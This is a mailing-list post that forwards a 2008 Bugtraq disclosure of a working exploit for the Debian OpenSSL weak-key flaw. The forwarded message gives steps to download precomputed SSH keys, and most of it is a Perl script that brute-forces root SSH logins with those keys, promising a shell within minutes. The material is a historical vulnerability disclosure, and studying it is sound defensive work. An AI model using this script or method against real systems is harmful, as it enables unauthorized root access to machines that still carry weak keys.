[COLUG] FW: Debian generated SSH-Keys working exploit

[Warner Moore]

	Here's a reality check.  What a stupid mistake on Debian's part. 

> -----Original Message-----
> From: mm at deadbeef.de [mailto:mm at deadbeef.de] 
> Sent: Thursday, May 15, 2008 1:54 AM
> To: bugtraq at securityfocus.com
> Subject: Debian generated SSH-Keys working exploit
> 
> Hi Securityfocus,
> 
> 
> the debian openssl issue leads that there are only 65.536 
> possible ssh keys generated, cause the only entropy is the 
> pid of the process generating the key.
> 
> 
> This leads to that the following perl script can be used with 
> the precalculated ssh keys to brute force the ssh login. It 
> works if such a keys is installed on a non-patched debian or 
> any other system manual configured to.
> 
> 
> On an unpatched system, which doesn't need to be debian, do 
> the following:
> 
> 
> 1. Download http://www.deadbeef.de/rsa.2048.tar.bzip2
> 
> 
> 2. Extract it to a directory
> 
> 
> 3. Enter into the /root/.ssh/authorized_keys a SSH RSA key 
> with 2048 Bits, generated on an upatched debian (this is the 
> key this exploit will break)
> 
> 
> 4. Run the perl script and give it the location to where you 
> extracted the bzip2 mentioned.
> 
> 
> #!/usr/bin/perl
> 
> my $keysPerConnect = 6;
> 
> unless ($ARGV[1]) {
> 
>    print "Syntax : ./exploiter.pl pathToSSHPrivateKeys 
> SSHhostToTry\n";
> 
>    print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
> 
>    print "By mm at deadbeef.de\n";
> 
>    exit 0;
> 
> }
> 
> chdir($ARGV[0]);
> 
> opendir(A, $ARGV[0]) || die("opendir");
> 
> while ($_ = readdir(A)) {
> 
>    chomp;
> 
>    next unless m,^\d+$,;
> 
>    push(@a, $_);
> 
>    if (scalar(@a) > $keysPerConnect) {
> 
>       system("echo ".join(" ", @a)."; ssh -l root ".join(" ", 
> map { "-i ".$_ } @a)." ".$ARGV[1]);
> 
>       @a = ();
> 
>    }
> 
> }
> 
> 
> 5. Enjoy the shell after some minutes (less than 20 minutes)
> 
> 
> Regards,
> 
> Markus Mueller
> 
> mm at deadbeef.de
> 
> 
>